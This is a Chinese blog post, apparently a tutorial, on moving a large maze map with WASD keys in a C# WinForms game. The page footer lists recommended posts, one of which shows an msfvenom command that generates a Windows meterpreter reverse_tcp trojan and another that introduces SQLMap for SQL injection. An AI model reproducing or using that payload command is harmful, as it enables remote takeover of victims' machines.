想实现一个小游戏,先做地图移动。步骤记录如下:

1、百度到一张大的迷宫地图,放在项目的debug目录下,备用。

2、创建一个winform项目,不添加任何界面元素。

3、添加数据成员如下:

        PictureBox pictureBox1;
Bitmap myBitmap;
Bitmap currBitmap;
Point mypoint;

  

分别用于显示图片、存储地图,存储界面上的地图,界面上的地图显示的左上角坐标。

4、设置窗体启动后最大化

public Form1()
{
InitializeComponent();
this.WindowState = FormWindowState.Maximized;
}

  5、窗口启动后添加图片和做其他各种预备工作。

        private void Form1_Shown(object sender, EventArgs e)
{
this.MaximumSize = this.Size;
this.MinimumSize = this.Size;
pictureBox1 = new PictureBox();
pictureBox1.Location = new System.Drawing.Point(0, 0);
pictureBox1.Size = this.Size;
this.Controls.Add(pictureBox1); myBitmap = new Bitmap("map.jpeg");
currBitmap = new Bitmap(this.Size.Width, this.Size.Height);
pictureBox1.Image = currBitmap;
mypoint = new Point(0, 0);
var g = Graphics.FromImage(pictureBox1.Image);
g.DrawImage(myBitmap, mypoint);
}

  6、处理asdw按键按下消息,让地图可以移动。

        private void Form1_KeyDown(object sender, KeyEventArgs e)
{
var key = e.KeyValue;
var g = Graphics.FromImage(pictureBox1.Image);
if (key >= 'a' && key <= 'z') key -= ('a' - 'A');
switch(key)
{
case 'A':
mypoint.X -= 10;
if (mypoint.X + myBitmap.Size.Width <currBitmap.Size.Width) mypoint.X = currBitmap.Size.Width-myBitmap.Size.Width;
break;
case 'D':
mypoint.X += 10;
if (mypoint.X>0) mypoint.X = 0;
break;
case 'W':
mypoint.Y -= 10;
if (mypoint.Y + myBitmap.Size.Height < currBitmap.Size.Height) mypoint.Y = currBitmap.Size.Height - myBitmap.Size.Height;
break;
case 'S':
mypoint.Y += 10;
if (mypoint.Y>0) mypoint.Y = 0;
break;
default: break;
}
g.DrawImage(myBitmap, mypoint);
pictureBox1.Refresh();
}

  

完毕。

显示效果如下:

下一步找一些小人加上去。

c# 游戏设计:地图移动的更多相关文章

  1. Silverlight游戏设计(Game Design):(十四)练习用游戏素材资源的获取及相关工具使用心得 --转

    Silverlight游戏设计(Game Design):(十四)练习用游戏素材资源的获取及相关工具使用心得 通过前6节的Demo制作演示,大家应该已经相当熟悉这款Silverlight-2D游戏场景 ...

  2. MMORPG大型游戏设计与开发(客户端架构 part8 of vegine)

    脚本模块是游戏设计中争论比较多的话题,那是因为作为脚本本身所带来的利弊.其实这都无关紧要,取舍是人必须学会的一项技能,如果你不会取舍那么就让趋势给你一个满意的答复.自从魔兽世界以及传奇(世界)问世以来 ...

  3. MMORPG大型游戏设计与开发(概述)updated

    1.定义 MMORPG,是英文Massive(或Massively)Multiplayer Online Role-PlayingGame的缩写,即大型多人在线角色扮演游戏. 2.技术与知识 在这系列 ...

  4. 信息安全系统设计基础课程实践:简单TUI游戏设计

    简单TUI游戏设计                目       录               一                      Curses库简介与基本开发方法             ...

  5. 【Stage3D学习笔记续】山寨Starling(十):高效游戏设计、纹理集和ATF

    我发布了经过批处理优化的v0.3版,点击下载:https://github.com/hammerc/hammerc-study-Stage3D/archive/v0.3.zip 先看看我们批处理优化后 ...

  6. Roguelike元素对游戏设计的影响

    Roguelike game自1980年以来,就占据着游戏市场中很大的份额,而现如今的很多游戏中,也加入了Roguelike元素来起到更好的效果.我们知道Roguelike game中有着一些看似任性 ...

  7. <发条游戏设计>粗翻——第一部分 理论(一)

    段落1 游戏 游戏设计定义 相对而言,游戏设计是一个新的学科,专业的作曲家.画家.作家.建筑师已经至少存在了500多年,然而游戏设计师只在最近50年才被特分出来单作一类.然而这个类别仅仅在最近20-2 ...

  8. <发条游戏设计>粗翻——序言、

    序言——————————————————————— 优雅 就像在英语里的很多单词一样,“优雅”有着一些不同意义的解释.一些习惯性的用法常常带有“美”的意思:例如“她穿着一条优雅的裙子”,代表着一种完全 ...

  9. Unity游戏设计与实现 南梦宫一线程序员的开发实例

    图灵程序设计丛书 Unity游戏设计与实现:南梦宫一线程序员的开发实例(修订版)     加藤政树 (作者) 罗水东 (译者)  c# 游戏 unity   <内容提要>本书的作者是日本知 ...

  10. Cocos文档案例游戏设计的梳理与分析

    导语:这是一篇新手教程,适用于已看完Cocos官方文档,但还对游戏设计.运行流程不熟悉的新人.这篇教程是对文档[快速上手]里那款名叫"摘星星"的坑爹小游戏(文档原话)流程的梳理,以 ...

随机推荐

  1. 监听Windows(生成木马)

    sudo su msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f ...

  2. 常用的渗透测试工具——SQLMap安装

    SQLMap是一个自动化的SQL注入工具,其主要功能是扫描.发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL.Qracle.PostgreSQL.Microsoft ...

  3. Python自动化结算工资和统计报表|编程一对一教学微信:Jiabcdefh

    实例需求说明 你好,我是悦创. 博客首发:https://bornforthis.cn/column/pyauto/auto_base07.html 学习了 Excel 文件的写入.读取和追加内容,那 ...

  4. SQL中常用函数操作

    --在SQL SERVER中批量替换字符串的方法 update [Table] set [Field] = REPLACE([Field],'被替换的原内容','要替换的内容') update HBb ...

  5. Word 交叉引用 给参考文献、图片题注添加引用

    参考文献引用 假如想在红色[1]处添加引用,实现点击[1]跳到参考文献[1]. 首先需要将参考文献进行编号. 在需要插入引用的地方,选择插入-->交叉引用 点击插入 最后可以把[1]调成上标 上 ...

  6. printf()和scanf()的*修飾符

    如果你不想預先設置字段的寬度,想通過程序來進行設定,則可以可以使用"*"來進行修飾字段的寬度,前提是在程序中要包含"*"和參數對應的值(比如%*d,那麽參數應該 ...

  7. windows11预览版装WSA心得

    这两天心血来潮想要装个WSA(安卓windows子系统),原来一直用的安卓模拟器(mumu啊蓝叠啊逍遥啊),但感觉像wsa这种安卓系统与主系统融合的模式更带感,于是开始了我艰苦的安装(瞎捯饬)之路 我 ...

  8. jjq(友链:https://tg.hszxoj.com/user/475)

         

  9. 我们从 CircleCI 安全事件获得的3个经验教训

    CircleCI 作为业内最受欢迎的 CI/CD 平台提供商之一,有超过20万个 DevOps 团队使用其平台.该公司在今年1月在其官网报告了一起安全事件引起客户恐慌.在此事件中,有身份不明的恶意攻击 ...

  10. React Refs-知识点整理记录

    一.Refs的作用 通过Refs,可以访问到 1. DOM节点. 2. render方法中创建的React元素.(class组件的实例) 二.访问节点或者实例有什么用?为什么要使用Refs来访问? 访 ...